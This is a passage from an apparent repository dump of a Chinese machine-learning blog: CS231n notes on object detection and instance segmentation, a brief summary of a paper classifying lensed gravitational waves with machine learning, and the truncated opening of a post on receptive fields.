ไธŠ่ฎญ็ปƒ่ฟ‡็š„็ฅž็ป็ฝ‘็ปœ็”จไบŽ่‡ชๅทฑ็š„ๆ•ฐๆฎ้›†๏ผŒๅฏนๆ•ดไธช็ฝ‘็ปœ่ฟ›่กŒๆ›ดๆ–ฐไผšๅพ—ๅˆฐๆ›ดไผ˜็š„่กจ็Žฐใ€‚ๅฎž้™…ไธญๆœ‰ไธ€ไบ›ๅฐๆŠ€ๅทง๏ผŒไฝ ๅฏไปฅๅ†ป็ป“ไฝ ็š„็ฝ‘็ปœ๏ผŒไน‹ๅŽๅˆ†ๅผ€่ฎญ็ปƒ่ฟ™ไธคไธช็ฝ‘็ปœ็›ดๅˆฐๆ”ถๆ•›๏ผŒไน‹ๅŽไฝ ๅ›žๅˆฐไฝ ็š„็ฝ‘็ปœ๏ผŒๆœ€ๅŽๅ›žๆฅ่”ๅˆ่ฐƒ่ฏ•ๆ•ดไธช็ณป็ปŸใ€‚่ฟ™ๆ˜ฏๅฎž้™…ๅบ”็”จไธญ็ปๅธธ็”จๅˆฐ็š„ๆŠ€ๅทงใ€‚\n\n\n\n### Aside: Human Pose Estimation\n\nPapers๏ผš\n\n> Johnson and Everingham, \"Clustered Pose and Nonlinear Appearance Models for Human Pose Estimation\", BMVC 2010\n>\n> Toshev and Szegedy, โ€œDeepPose: Human Pose Estimation via Deep Neural Networksโ€, CVPR 2014\n\n![](https://i.loli.net/2018/09/04/5b8df0b09d3fe.png)\n\n![](https://i.loli.net/2018/09/04/5b8df13614534.png)\n\n\n\n\n\n## Object Detection\n\n![](https://i.loli.net/2018/09/05/5b8fad7a82e39.png)\n\n\n\n\n\n\n\n- Object Detection as Regression?\n\n![](https://i.loli.net/2018/09/05/5b8faaefa9279.png)\n\n\n\n\n\n### Region Proposals (ๅ€™้€‰ๅŒบๅŸŸ)\n\n- ๆ‰พๅˆฐ็‰ฉไฝ“ๅฏ่ƒฝๅญ˜ๅœจ็š„ๅค‡้€‰ๅŒบๅŸŸ๏ผŒๅ†ๅบ”็”จๅท็งฏ็ฅž็ป็ฝ‘็ปœๅฏน่ฟ™ไบ›ๅค‡้€‰ๅŒบๅŸŸ่ฟ›่กŒๅˆ†็ฑป๏ผŒ่ฟ™ๆ ทๅšๆฏ”็ฉทๅฐฝๆ‰€ๆœ‰ๅฏ่ƒฝ็š„ไฝ็ฝฎๅ’Œ่Œƒๅ›ด่ฆๆฅ็š„ๆ›ดๅฎนๆ˜“ไธ€ไบ›ใ€‚\n\n![](https://i.loli.net/2018/09/05/5b8faf69104fc.png)\n\n\n\n#### R-CNN\n\n็ป™ๅฎšๆˆ‘ไปฌ็š„่พ“ๅ…ฅ๏ผŒๆˆ‘ไปฌ่ฟ่กŒไธ€ไบ›ๅŒบๅŸŸ้€‰ๆ‹ฉ็ฝ‘็ปœๅŽปๆ‰พๅˆฐๅค‡้€‰ๅŒบๅŸŸ๏ผŒๆœ‰ๆ—ถๅ€™ไนŸๅซๅ…ด่ถฃๅŒบๅŸŸๆˆ– ROI๏ผŒ้€‰ๆ‹ฉๆŸฅๆ‰พๅฏไปฅ็ป™ไฝ ๅคงๆฆ‚ 2000 ไธชๅ…ด่ถฃๅŒบๅŸŸใ€‚ๅ…ถไธญไธ€ไธช้—ฎ้ข˜ๆ˜ฏ่ฟ™ไบ›่พ“ๅ…ฅไธญ็š„ๅŒบๅŸŸๅฏ่ƒฝๆœ‰ไธๅŒ็š„ๅฐบๅฏธ๏ผŒไฝ†ๆ˜ฏ้ƒฝ่ฆๅœจๅท็งฏ็ฅž็ป็ฝ‘็ปœไธญ่ฟ่กŒๅšๅˆ†็ฑปใ€‚่ฟ™ๆ ท็š„่ฏ๏ผŒๆˆ‘ไปฌๅธŒๆœ›ๆ‰€ๆœ‰่พ“ๅ…ฅๅฐบๅฏธไธ€่‡ด๏ผŒๅ› ไธบๅ…จ่ฟžๆŽฅๅฑ‚็š„็‰นๆ€งใ€‚ๆ‰€ไปฅ๏ผŒๆˆ‘ไปฌ้œ€่ฆๅค„็†่ฟ™ไบ›ๅŒบๅŸŸ่ฐƒๆ•ดไธบๅ›บๅฎšๅฐบๅฏธ๏ผŒไฝฟไน‹ไธŽไธ‹ๆธธ็ฝ‘็ปœ่พ“ๅ…ฅ็›ธๅŒน้…ใ€‚ๆ‰€ไปฅๆˆ‘ไปฌ้œ€่ฆๅฏน่พ“ๅ…ฅๅšๅˆ‡ๅˆ†๏ผŒๆ นๆฎๅค‡้€‰ๅŒบๅŸŸ็š„่ฆๆฑ‚ๅˆ‡ๅˆ†่‡ณๅ›บๅฎšๅฐบๅฏธ๏ผŒไน‹ๅŽ็ป่ฟ‡ๅท็งฏ็ฅž็ป็ฝ‘็ปœ่ฟ่กŒ่ฟ™ไบ›็ฎ—ๆณ•๏ผŒ็„ถๅŽไฝฟ็”จๆ”ฏๆŒๅ‘้‡ๆœบ็ฎ—ๆณ•ๅŸบไบŽๆ ทๆœฌๅšๅˆ†็ฑป๏ผŒ้ข„ๆต‹ๅฏนๅบ”็š„็ป„ๅˆซใ€‚ๅฆๅค–ๆไธ€ไธ‹๏ผŒๅŸบไบŽๅŒบๅŸŸ้€‰ๆ‹ฉ็š„ๅท็งฏ็ฅž็ป็ฝ‘็ปœๅฏไปฅๅšๅ›žๅฝ’๏ผŒๅฏไปฅ็”จๆฅ็ŸซๆญฃๅŒ…ๅ›ด็›’๏ผˆbounding box๏ผ‰๏ผŒ้™คไบ†่พ“ๅ…ฅ็š„้—ฎ้ข˜ใ€‚ๅฆๅค–็š„้—ฎ้ข˜ๆ˜ฏ๏ผŒไฝ ็š„่พ“ๅ…ฅๅ›พๅƒไธญ็‰ฉไฝ“็š„ไฝ็ฝฎไฝ ๅฏ่ƒฝไผšๆ„Ÿ่ง‰ไธ้”™๏ผŒๅฎž้™…ไธๆ˜ฏๅฎŒ็พŽ็š„๏ผŒๆ‰€ไปฅ็ฎ—ๆณ•ไผš่€ƒ่™‘่ฟ™ไธชไธๅ…‰ๅฏน่ฟ™ไบ›ๅŒบๅŸŸๅˆ†็ฑป๏ผŒไนŸ้ข„ๆต‹่พน็•Œ่กฅๅฟๅ’Œไฟฎๆญฃๅ€ผ๏ผŒๅœจ็กฎๅฎšๅค‡้€‰ๅŒบๅŸŸๆ—ถใ€‚ๅ†ไธ€ๆฌกๅผบ่ฐƒ๏ผŒ่ฟ™ไธชๆ˜ฏๅคšไปปๅŠกๆŸๅคฑ๏ผŒไฝ ้œ€่ฆๅฏน่ฟ™ไบ›่ฟ›่กŒ่ฎญ็ปƒใ€‚\n\n![](https://i.loli.net/2018/09/05/5b8fb0811056f.png)\n\n- Q๏ผšๆ˜ฏๅฆๆœ‰ๅฟ…่ฆ่ฎฉๅค‡้€‰ๅŒบๅŸŸไธบ้•ฟๆ–นๅฝข๏ผŸ\n - ๆ˜ฏ็š„ใ€‚ๅ› ไธบๅพˆ้šพๅฏนไธ่ง„ๅˆ™็š„็‰ฉไฝ“่ฟ›่กŒๅˆ’ๅˆ†๏ผŒไฝ†ๆ˜ฏๅฆ‚ๆžœไฝ ่ฐˆๅŠๅณๆ—ถๅˆ‡ๅ‰ฒ๏ผŒไฝ ไธไธ€ๅฎš็”จ้•ฟๆ–นๅฝข๏ผŒๅฆ‚ๆžœไฝ ๆƒณ้ข„ๆต‹ไธ€ไบ›ไธๆ˜ฏ้•ฟๆ–นๅฝข็š„ๅŒบๅŸŸใ€‚\n- Q๏ผšๅŒบๅŸŸ้€‰ๆ‹ฉไผšไธไผšๅญฆไน ่ฟ™็ง็ฎ—ๆณ•ๆ˜ฏๅพˆไผ ็ปŸ็š„๏ผŸ\n - ๅ—ฏ๏ผŒๅฎƒไธๆ˜ฏ่‡ชๅญฆไน ็š„๏ผŒ่ฟ™ๆ˜ฏ็งๅ›บๅฎš็ฎ—ๆณ•ๆœ‰ไบบๅ†™ไธ‹ๆฅใ€‚ \n- Q๏ผšๆ กๆญฃๆ˜ฏๅฆๅœจๅ…ด่ถฃๅŒบๅŸŸๅ†…๏ผŸ\n - ไธๆ˜ฏ๏ผŒไธไธ€ๅฎšใ€‚ไธพไธชไพ‹ๅญ๏ผŒๅ‡่ฎพๅ…ด่ถฃๅŒบๅŸŸๆ˜ฏๅ›ด็ป•ไบบ็š„๏ผŒไฝ†ๆ˜ฏๆฒกๅŒ…ๆ‹ฌไบบ็š„ๅคด้ƒจ๏ผŒไฝ ๅฏไปฅๆƒณ่ฑก๏ผŒ็ฝ‘็ปœไผšๆŽจๆ–ญ๏ผŒๆ€Žไนˆๆฒกๆœ‰ๅคด๏ผŒๆ‰€ไปฅ็ฝ‘็ปœๅบ”่ฏฅๆŠŠ่พน็•Œๆ้ซ˜ไธ€็‚นใ€‚ๆ‰€ไปฅๆœ€็ปˆ้ข„ๆต‹ไผšๆฏ”ไน‹ๅ‰็š„ๅŒบๅŸŸ่ฆๅคงใ€‚\n- Q๏ผšๅฆ‚ๆžœไฝ ๆœ‰ๅพˆๅคšๅ…ด่ถฃๅŒบๅŸŸไธๅฑžไบŽไฝ ่ฆๆ‰พ็š„็‰ฉไฝ“๏ผŸ\n - ้™คไบ†ไฝ ๆ„Ÿๅ…ด่ถฃ็š„็ฑป๏ผŒไฝ ๅฏไปฅๆทปๅŠ ๅ…ถไป–่ƒŒๆ™ฏ็ฑปใ€‚ๆ‰€ไปฅไฝ ็š„็ฑปๅฏไปฅ้ข„ๆต‹่ƒŒๆ™ฏ๏ผŒ่ฏด้‚ฃ้‡Œๆฒกๆœ‰็‰ฉไฝ“ใ€‚\n- Q๏ผšๆˆ‘ไปฌ้œ€่ฆไป€ไนˆๆ•ฐๆฎ๏ผŸ\n - ่ฟ™ๆ˜ฏไธ€ไธช็›‘็ฃๅญฆไน ้—ฎ้ข˜ใ€‚่€ƒ่™‘ๅˆฐๆˆ‘ไปฌ็š„่ฎญ็ปƒ้›†็”ฑๅ›พๅƒ็ป„ๆˆ๏ผŒๆฏไธชๅ›พๅƒ็”ฑๅŒ…ๅซๅนถๆ ‡่ฎฐๅ‡บๆ‰€ๆœ‰็›ฎๆ ‡็š„็ฑปๅˆซใ€‚็ปๅฏนๆœ‰ๅฐ่ฏ•ๅฎž็Žฐ่ฟ™ไธช็š„่ฎบๆ–‡ใ€‚ๅฆ‚ๆžœไฝ ๆฒกๆœ‰ๆ•ฐๆฎ๏ผŒๅฆ‚ๆžœไฝ ๅชๆœ‰ไธ€ไบ›ๅ›พ็‰‡็š„ๆ•ฐๆฎๆˆ–่€…ๅฆ‚ๆžœๅ›พ็‰‡ๆธ…ๆ™ฐๅบฆไธๅคŸใ€‚ๅœจ่ฎญ็ปƒ้˜ถๆฎต๏ผŒ้€šๅธธๆƒ…ๅ†ตไธ‹๏ผŒๅฏไปฅๅ‡่ฎพๅ›พๅƒไธญๆ‰€ๆœ‰็›ฎๆ ‡้ƒฝๆ˜ฏ็›‘็ฃๅญฆไน ใ€‚\n\n\n\n#### R-CNN๏ผšProblems\n\n- Ad hoc training objectives\n - Fine-tune network with softmax classifier (log loss)\n - Train post-hoc linear SVMs (hinge loss)\n - Train post-hoc bounding-box regressions (least squares) \n- Training is slow (84h), takes a lot of disk space \n- Inference (detection) is slow\n - 47s / image with VGG16 [Simonyan & Zisserman. ICLR15]\n - Fixed by SPP-net [He et al. ECCV14] \n\n\n\n#### Fast R-CNN\n\n![](https://i.loli.net/2018/09/05/5b8fc2db0337d.png)\n\n่ฎญ็ปƒ็š„ๆ—ถๅ€™๏ผš\n\n![](https://i.loli.net/2018/09/05/5b8fc24e268f5.png)\n\n![](https://i.loli.net/2018/09/05/5b8fc3587bc68.png)\n\n\n\n![](https://i.loli.net/2018/09/05/5b8fc36ef28cb.png)\n\n\n\n\n\n#### Faster R-CNN\n\n![](https://i.loli.net/2018/09/05/5b8fc3a35ea8e.png)\n\n- Q๏ผšๆœ‰ๆ—ถๅ€™ๅคšไปปๅŠกๅญฆไน ๅฏไปฅ่ง†ไธบๆญฃๅˆ™๏ผŒ่ฟ™้‡Œๆ€Žไนˆ็†่งฃ๏ผŸ\n - ๆˆ‘ไธ็กฎๅฎšๆ˜ฏไธๆ˜ฏๆœ‰ๆ›ดๅฅฝ็š„ๅฏน็…งๅฎž้ชŒๆฅ่ฏดๆ˜Ž่ฟ™ไธชใ€‚ๅœจๅŽŸๆฅ็š„็‰ˆๆœฌ็š„ Faster R-CNN ่ฎบๆ–‡ไป–ไปฌๅšไบ†ไธ€ไบ›ๅฎž้ชŒ๏ผŒๆฏ”ๅฆ‚ๅฆ‚ๆžœๆˆ‘ไปฌๅ…ฑไบซๅŒบๅŸŸ้€‰ๆ‹ฉ็ฝ‘็ปœไผšๆ€Žไนˆๆ ท๏ผŒๅไน‹ๅฆ‚ไฝ•๏ผŒๅฆ‚ๆžœๆˆ‘ไปฌ้€š่ฟ‡ๅˆ†็ฆปๅท็งฏ็ฅž็ป็ฝ‘็ปœๆฅๅญฆไน ๅŒบๅŸŸ้€‰ๆ‹ฉ็ฝ‘็ปœๆ•ˆๆžœไผšไธไผšๆฏ”ๅˆ†็ฑป็ฝ‘็ปœๅฅฝใ€‚่ฟ™ไน‹้—ดๆœ‰ไบ›ๅฐๅฐ็š„ไธๅŒ๏ผŒไฝ†ๆ˜ฏๅนถไธๆ˜พ่‘—ใ€‚ๅฎž้™…ไธญ๏ผŒๅชๅญฆไธ€็งๆ›ดๅฅฝ๏ผŒๅ› ไธบ่ฎก็ฎ—ๅคๆ‚ๅบฆไผšไฝŽไธ€ไบ›ใ€‚\n- Q๏ผšไฝ ๅฆ‚ไฝ•่ฎญ็ปƒๅŒบๅŸŸ้€‰ๆ‹ฉ็ฝ‘็ปœ๏ผŒๅ› ไธบไฝ ไธ็Ÿฅ้“็œŸๅ€ผใ€‚\n - ่ฟ™ไธชๆœ‰ไบ›ๅคๆ‚๏ผŒไธๆƒณ่ฏดๅคชๅคšใ€‚่งฃๅ†ณๆ–นๆณ•ๆ˜ฏไฝ ่ฎพ็ฝฎๅŒบๅŸŸ้€‰ๆ‹ฉ็ฝ‘็ปœไธŽ็œŸๅ€ผ้‡ๅ ็š„้˜ˆๅ€ผ๏ผŒๅฝ“ๅคงไบŽ่ฟ™ไธช้˜ˆๅ€ผๆ—ถๅˆคๆ–ญไธบๆญฃ๏ผŒไฝ ๅฏไปฅๆ‹ฟ่ฟ™ไธชๅšๅŒบๅŸŸ้€‰ๆ‹ฉใ€‚ๅฆ‚ๆžœไธŽ็œŸๅ€ผ้‡ๅ ๅฐไบŽ่ฟ™ไธช้˜ˆๅ€ผ๏ผŒ่ดฃๅค‡้ข„ๆต‹ไธบ่ดŸใ€‚ไฝ†ๆ˜ฏ่ฟ™้‡Œๆถ‰ๅŠๅพˆๅคš็Ž„ๅฆ™็š„่ถ…ๅ‚ๆ•ฐ๏ผŒ่ฟ˜ๆ˜ฏ่›ฎๅคๆ‚็š„ใ€‚\n- Q๏ผšไป€ไนˆๆ˜ฏๅŒบๅŸŸ้€‰ๆ‹ฉๆจกๅž‹็š„ๅˆ†็ฑปๆŸๅคฑ๏ผŸ\n - ็ฎ€ๅ•็š„ไบŒๅˆ†็ฑปๆŸๅคฑใ€‚ๅฏนไบŽไฝ ็š„ๆฝœๅœจ็š„ๅŒบๅŸŸ๏ผŒๅฎƒ่ฟ›่กŒไบŒๅˆ†็ฑป๏ผš่ฟ™ๆ˜ฏไธ€ไธช็›ฎๆ ‡ๅ—๏ผŸๆ‰€ไปฅๅฎƒๅƒๆ˜ฏไธ€ไธชไบŒๅˆ†็ฑปๆŸๅคฑใ€‚\n\n![](https://i.loli.net/2018/09/05/5b8fc3f897546.png)\n\n\n\n\n### Detection without Proposals: YOLO / SSD\n\n![](https://i.loli.net/2018/09/05/5b8fc77d03d1a.png)\n\n ็ป™ๅฎš่พ“ๅ…ฅๅ›พๅƒ๏ผŒไฝ ๅฏไปฅๅฐ†่พ“ๅ…ฅๅ›พๅƒๅˆ†ๆˆ็ฝ‘ๆ ผใ€‚่ฟ™ไธชๆกˆไพ‹ไธญๆ˜ฏ 7x7 ไธช็ฝ‘็ปœใ€‚ๅœจๆฏไธชๅ•ๅ…ƒ้‡Œ๏ผŒไฝ ๅฏไปฅๆƒณ่ฑกไธ€็ณปๅˆ—็š„ๅŸบๆœฌ่พน็•Œๆก†ใ€‚ไธŠ้ข็”ปไบ†ไธ‰ไธชๅŸบๆœฌ่พน็•Œๆก†๏ผŒ้ซ˜็š„๏ผŒๅฎฝ็š„๏ผŒๆญฃๆ–นๅฝข็š„ใ€‚ๅœจๅฎž้™…ๅบ”็”จไธญไฝ ๅฏ่ƒฝไธๆญข็”จ3ไธชใ€‚ไฝ ๆƒณๅฏนๆฏไธช็ฝ‘ๆ ผๅ’ŒๆฏไธชๅŸบๆœฌ่พน็•Œๆก†้ข„ๆต‹ๅ‡ ็ง็›ฎๆ ‡็‰ฉไฝ“ใ€‚็ฌฌไธ€๏ผŒไฝ ่ฆ้ข„ๆต‹่พน็•Œๆก†ๅ็งป๏ผŒไปŽ่€Œ้ข„ๆต‹ๅ‡บ่พน็•Œๆก†ไธŽ็›ฎๆ ‡็‰ฉไฝ“็š„ไฝ็ฝฎ็š„ๅๅทฎ๏ผŒไฝ ่ฟ˜่ฆ้ข„ๆต‹็›ฎๆ ‡ๅฏนๅบ”็ฑปๅˆซ็š„ๅˆ†ๆ•ฐ๏ผŒๆ‰€ไปฅๆฏไธช่พน็•Œๆก†้ƒฝไผšๅฏนๅบ”ไธ€ไธช็ฑปๅˆซๅˆ†ๆ•ฐ๏ผŒๅฐฑๆ˜ฏๆŸ็ฑป็›ฎๆ ‡็‰ฉไฝ“ๅ‡บ็Žฐๅœจ่พน็•Œๆก†ไธญ็š„ๅฏ่ƒฝๆ€งๆœ‰ๅคšๅคง๏ผŒ็„ถๅŽๆˆ‘ไปฌๅฐฑไปŽ่พ“ๅ…ฅๅ›พๅƒไธญๅฎŒๆˆไบ†้ข„ๆต‹๏ผŒ่ฟ™ไธช 7x7x(5xB+C) ็š„ๅผ ้‡ใ€‚ๆˆ‘ไปฌๆœ‰ B ไธชๅŸบๆœฌ่พน็•Œๆก†๏ผŒๆฏไธช่พน็•Œๆก†ๅฏนๅบ”5ไธชๅ€ผ๏ผŒๅˆ†ๅˆซๅฏนๅบ”่พน็•Œๆก†็š„ๆ’ๅ€ผๅ’Œๆˆ‘ไปฌ็š„็ฝฎไฟกๅบฆ๏ผŒC ๅฏนๅบ” C ็ฑป็›ฎๆ ‡็ฑปๅˆซ็š„ๅˆ†ๆ•ฐใ€‚ๆˆ‘ไปฌๅฏไปฅๆŠŠ่ฟ™็ง็›ฎๆ ‡ๆฃ€ๆต‹็œ‹ไฝœ่พ“ๅ…ฅไธ€ๅผ ๅ›พๅƒ๏ผŒ่พ“ๅ‡บไธ€ไธช3็ปดๅผ ้‡๏ผŒไฝ ๅฏไปฅไฝฟ็”จไธ€ไธชๅทจๅคง็š„ๅท็งฏ็ฝ‘็ปœๆฅ่ฎญ็ปƒ่ฟ™ๆ•ดไธช่ฟ‡็จ‹ใ€‚่ฟ™ๅฐฑๆ˜ฏ **SSD** ็ฎ—ๆณ•็š„่ฟ‡็จ‹ใ€‚่ฟ™ไธช่ฟ‡็จ‹ๅฐ†ไฝฟ็”จ็œŸๅฎž็ฑปๆ ‡ๅŽปๅŒน้…๏ผŒ่ฟ™ไบ›ๆฝœๅœจ็š„ๅŸบๆœฌๆก†๏ผŒ่™ฝ็„ถๆœ‰็‚น้บป็ƒฆ๏ผŒไฝ†ๆ˜ฏๅฐฑๆ˜ฏ่ฟ™ไนˆๅš็š„ใ€‚\n\nๅฆๅค–๏ผŒๅŸบไบŽๅ€™้€‰ๆก†็š„็ฝ‘็ปœ๏ผŒๆญฃๅฆ‚ๅœจ Faster R-CNN ไธญๆ‰€ไฝฟ็”จ็š„๏ผŒๆœ€็ปˆไผšๅฏปๆ‰พๅ‡บไธ€็ณปๅˆ—ๆฏ”่พƒๆŽฅ่ฟ‘ๅ›พๅƒ็ฝ‘็ปœ็š„่พน็•Œๆก†ใ€‚ๅฆๅค–ไธ€ไบ›ๅŸบไบŽๅ€™้€‰ๆก†็š„็ฝ‘็ปœ้™คไบ†้ข„ๆต‹็ฑปๅˆซไน‹ๅค–๏ผŒ่ฟ˜ไผšๅฏน้ข„ๆต‹ๆก†ๅšๅ›žๅฝ’ใ€‚่ฟ™ไบ›ๆฆ‚ๅฟตๆœ‰ไบ›้‡ๅ ใ€‚ๅœจ Faster R-CNN ไธญๆˆ‘ไปฌๅฐ†็›ฎๆ ‡ๅŒบๅŸŸ็š„ๆๅ‡บ็œ‹ๅšๆ˜ฏไธ€ไธช็ซฏๅˆฐ็ซฏ็š„ๅ›žๅฝ’้—ฎ้ข˜๏ผŒ็„ถๅŽๆˆ‘ไปฌๅฏนๆๅ‡บ็š„ๅŒบๅŸŸๅˆ†ๅˆซ่ฟ›่กŒๅค„็†๏ผŒไฝ†ๆ˜ฏๅœจ SSD ๆ–นๆณ•ไธญ๏ผŒๆˆ‘ไปฌๅชๅš็ฌฌไธ€ๆญฅ๏ผŒ้€š่ฟ‡ไธ€ไธชๅ‰้ฆˆ็ฝ‘็ปœไธ€ๆฌก่ฟ›่กŒๆ‰€ๆœ‰็š„็›ฎๆ ‡ๆฃ€ๆต‹ใ€‚\n\n\n\n### Object Detetion: Lots of variables ...\n\n![](https://i.loli.net/2018/09/05/5b8fcb8557d62.png)\n\n\n\n\n\n\n\n## Instance Segmentation\n\n### Mask R-CNN\n\n![](https://i.loli.net/2018/09/05/5b8fc6d31b899.png)\n\n![image-20180905203549569](assets/image-20180905203549569.png)\n\n![image-20180905203646958](assets/image-20180905203646958.png)\n\n\n\n\n\n\n\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html) | [่ฟ”ๅ›žๅˆฐ้กถ้ƒจ](./cs231n_11.html)\n\n---\n<br>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n<br>\n\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n \"openSidebar\": false,\n \"showHighlights\": true,\n \"theme\": classic,\n \"enableExperimentalNewNoteButton\": true\n }\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>\n\n\n" }, { "alpha_fraction": 0.7004672884941101, "alphanum_fraction": 0.7532710433006287, "avg_line_length": 34.09836196899414, "blob_id": "61d0ef0f87732f20bc8b325aaceb486979c711e4", "content_id": "156be1b2b1ff962a2e79c87c459bd4c3626d9dff", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2510, "license_type": "no_license", "max_line_length": 394, "num_lines": 61, "path": "/blog/paper_summary/Classifying Lensed Gravitational Waves in the Geometrical Optics Limit with Machine Learning.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "---\ntitle: Classifying Lensed Gravitational Waves in the Geometrical Optics Limit with Machine Learning\ndate: 2018-12-23\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html)\n\n---\n\n![](https://i.loli.net/2018/08/24/5b7fffecd8d1d.png)\n\n# Classifying Lensed Gravitational Waves in the Geometrical Optics Limit with Machine Learning (2018)\n\n>Classifying Lensed Gravitational Waves in the Geometrical Optics Limit with Machine Learning. Amit Jit Singh, Ivan S.C. Li, Otto A. Hannuksela, Tjonnie G.F. Li, Kyungmin Kim [The Chinese University of Hong Kong & Imperial College London] (2018) arXiv:1810.07888\n\n\n\n<iframe src=\"./Classifying Lensed Gravitational Waves in the Geometrical Optics Limit with Machine Learning.pdf\" style=\"width:1000px; height:1000px;\" width=\"100%\" height=100%>This browser does not support PDFs. Please download the PDF to view it: <a href=\"https://arxiv.org/pdf/1810.07888.pdf\">Download PDF</a></iframe>\n\n\n\n> FYI๏ผš\n>\n\n\n\n[TOC]\n\n\n\n## My comments\n\n้ข‡ๆœ‰ๅญฆ็”Ÿไน‹ไฝœ็š„ๅ‘ณ้“๏ผŒๅ› ไธบๅพˆๅคš่ฎญ็ปƒ็ป†่Š‚ๆ˜ฏไธๆธ…ๆฅš็š„๏ผŒๅŒๆ—ถๅฎž้ชŒ่ฎจ่ฎบ็š„็ป“ๆžœไนŸๅพˆ้šพ็ป™ๅ‡บๅ†ณๅฎšๆ€ง็š„็ป“ๆžœใ€‚\n\n## The Dataset\n\nๆ•ฐๆฎๆ ทๆœฌ็”จ็š„ๆ˜ฏ้ƒฝๅซๆœ‰ GW ไฟกๅท็š„ไบŒ็ปด spectrogram images๏ผŒlabel ๆ ‡็ญพ็”จ lensed or unlensed ๆฅๅŒบๅˆซ๏ผŒ้ฝๆ€ป match-filtered SNR ๆ˜ฏไธ่ถ…่ฟ‡ 80 ็š„ gaussian noise๏ผŒๆ‰€ไปฅๆ€ปๅ…ฑ 2000 spectrogram samples of lensed GWs (ๅ…ถไธญไธค็งๆจกๅž‹ๆ–นๆณ•point mass ๅ’Œ SIS็”Ÿๆˆ็š„lensed GWsๅ„ๅ 1000) ๅ’Œ1000 samples of unlensed GWs๏ผŒ่ฟ˜่ฏดๆ‰€ๆœ‰่ฟ™3000ไธชsamples็š„ SNR ๆ˜ฏไธ€ไธชๆญฃๆ€ๅˆ†ๅธƒ(ๅ‡ๅ€ผ41ๆ–นๅทฎ19)ใ€‚\n\n่ฎญ็ปƒ้›†ๅ…ฑ3000ไธชๆ ทๆœฌ๏ผŒ่ฎญ็ปƒๆ—ถไผšๆ นๆฎpoint mass ๅ’Œ SISๆฅๅŒบๅˆ†ๅœฐ่พ“ๅ…ฅ็ฝ‘็ปœ2000ไธชๆ ทๆœฌ๏ผŒๅ…ถไธญๆญฃ่ดŸๆ ทๆœฌๅ„1000๏ผŒๆต‹่ฏ•ๆ—ถ็”จไบ†500ไธชๆ ทๆœฌ๏ผŒๅ…ถไธญๆญฃ่ดŸๆ ทๆœฌๅ„250ใ€‚\n\n\n\n\n\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html) | [่ฟ”ๅ›žๅˆฐ้กถ้ƒจ](./Classifying Lensed Gravitational Waves in the Geometrical Optics Limit with Machine Learning.html)\n\n---\n<br>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n<br>\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n \"openSidebar\": false,\n \"showHighlights\": true,\n \"theme\": classic,\n \"enableExperimentalNewNoteButton\": true\n }\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>" }, { "alpha_fraction": 0.6823906898498535, "alphanum_fraction": 0.7215361595153809, "avg_line_length": 38.497562408447266, "blob_id": "6afd8163de7bf99437141b443936114f300c2377", "content_id": "5bcb57c1b88a2a40b28018b95e81b42d6d8f5c68", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 12625, "license_type": "no_license", "max_line_length": 427, "num_lines": 205, "path": "/blog/posts/receptive_field.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "---\ntitle: ๅ…ณไบŽๆ„Ÿๅ—้‡Ž (Receptive field) ไฝ ่ฏฅ็Ÿฅ้“็š„ไบ‹\ndate: 2018-09-6\n---\n\n[่ฟ”ๅ›žๅˆฐ้ฆ–้กต](../index.html)\n\n---\n\n\n[TOC]\n\n\n\n# ๅ…ณไบŽๆ„Ÿๅ—้‡Ž (Receptive field) ไฝ ่ฏฅ็Ÿฅ้“็š„ไบ‹\n\n**Receptive field** ๅฏไธญ่ฏ‘ไธบโ€œๆ„Ÿๅ—้‡Žโ€๏ผŒๆ˜ฏๅท็งฏ็ฅž็ป็ฝ‘็ปœไธญ้žๅธธ้‡่ฆ็š„ๆฆ‚ๅฟตไน‹ไธ€ใ€‚\n\nๆˆ‘ไธชไบบๆœ€ๆ—ฉ็œ‹ๅˆฐ่ฟ™ไธช่ฏ็š„ๆ่ฟฐๆ˜ฏๅœจ 2012 ๅนด Krizhevsky ็š„ paper ไธญๅฐฑๆœ‰ๆๅˆฐ่ฟ‡๏ผŒๅฝ“ๆ—ถๆ˜ฏๅ„็งไธๆ˜Ž็™ฝ็š„๏ผŒไบ‹ๅฎžไธŠๅ„็ง็ฝ‘็ปœๆ•™ๅญฆ่ฏพ็จ‹ไนŸ้ƒฝๅนถๆฒกๆœ‰ไป”็ป†็š„่ฎฒๆธ…ๆฅšโ€œๆ„Ÿๅ—้‡Žโ€ๆ˜ฏๆ€Žไนˆไธ€ๅ›žไบ‹๏ผŒๆœ‰ไป€ไนˆ็”จ็ญ‰็ญ‰ใ€‚็›ดๅˆฐๆˆ‘ๆŸๅคฉ็œ‹ไบ† UiO ็š„ๅšๅฃซ็”Ÿ [Dang Ha The Hien](https://medium.com/@nikasa1889?source=post_header_lockup) ๅ†™ไบ†ไธ€็ฏ‡้žๅธธๆตไผ ็”šๅนฟ็š„ๅšๆ–‡๏ผš[**A guide to receptive field arithmetic for Convolutional Neural 